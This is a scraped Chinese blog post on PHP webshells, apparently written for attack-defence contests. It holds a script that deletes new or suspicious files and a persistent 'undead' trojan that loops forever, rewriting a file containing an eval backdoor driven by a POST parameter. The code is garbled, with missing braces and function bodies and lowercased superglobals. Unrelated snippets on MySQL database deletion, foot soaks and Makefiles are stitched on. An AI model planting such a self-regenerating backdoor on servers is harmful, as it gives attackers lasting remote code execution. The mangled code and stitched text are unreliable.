php webshell刪與防指令碼

2021-07-11 06:31:23 字數 1727 閱讀 3035

php刪除webshell指令碼,根據檔名,檔案內容,檔案的修改時間刪除,可以暴力點,只要是新上傳,新修改的檔案,一律刪除,**自己修改

<?php

function filter($file)

//在白名單中則不過濾

if (in_array($file, $whitelist))

//讀取檔案內容

@$fp = fopen($file,'r');

@$buf = fread($fp, 512);

@fclose($fp);

//包含關鍵字不過濾

if (stristr($buf , 'hehehe'))

return true;

} function delnewinput($old, $new)

return false;

} function delfilefromdir($dir)

//獲取當前相對路徑

$url = $_server['php_self'];

//獲取檔名

$filename = substr($url , strrpos($url , '/')+1);

//開啟目錄

$handle = opendir($dir);

while (($file = readdir($handle)) !== false)

$fullpath = $dir . "/". $file;

//如果是檔案且不符合過濾規則或者是新上傳就刪除,否則遞迴呼叫

if ((is_file($fullpath) && filter($file)) || (is_file($fullpath) && delnewinput($filename, $fullpath)))

elseif (is_dir($fullpath))

}} $dir = '.';

delfilefromdir($dir);

?>

如果想迴圈刪除,可以寫個sh指令碼

#!/bin/sh

while :

do curl

done

php防刪木馬,駐留在記憶體中,當檔案不存在,就自動生成,只有伺服器重啟,指令碼才停止執行

<?php

ignore_user_abort(true);

set_time_limit(0);

$file = './hehehe.php';

$code = '<?php @eval($_post[test321]); ?>';

while (1)

usleep(50);

}?>

php無檔案木馬,在一開始便把自身刪除,主流在記憶體裡,優點是無法檢視到木馬,缺點是重啟以後木馬就不在了

mysql刪庫指令碼 MySQL 多例項刪庫指令碼

db版本 5.5.14 os centos 6.3 在測試環境中,在一台伺服器上建立多個例項,在每個例項中乙個乙個刪庫比較麻煩,因此用下面指令碼,可以直接刪除所有庫,除了系統庫以外 bin bash mysql export servers mysql bin mysql for i in dofo...

綠茶加鹽泡腳防腳氣

大家常說的 腳氣 通常是一種真菌感染性 病,在中醫上被稱為 腳濕氣 在西醫上被稱為 足癬 在成年人中患病率極高,約佔人群的百分之七十。瀋陽市中醫院養生科主任中醫師孫曄說,夏天空氣高熱潮濕,容易滋生 癬菌,進入腳氣的高發季節。中醫預防腳氣可以注意以下幾點 1 薰 將充分曬乾的橘皮用火薰出煙,用這種菸來...

Linux Makefile與shell指令碼區別

在makefile可以呼叫shell指令碼,但是makefile和shell指令碼是不同的。本文試著歸納一下makefile和shell指令碼的不同。1 shell中所有引用以 打頭的變數其後要加 而在makefile中的變數是以 打頭的後加 例項如下 makefile path data subp...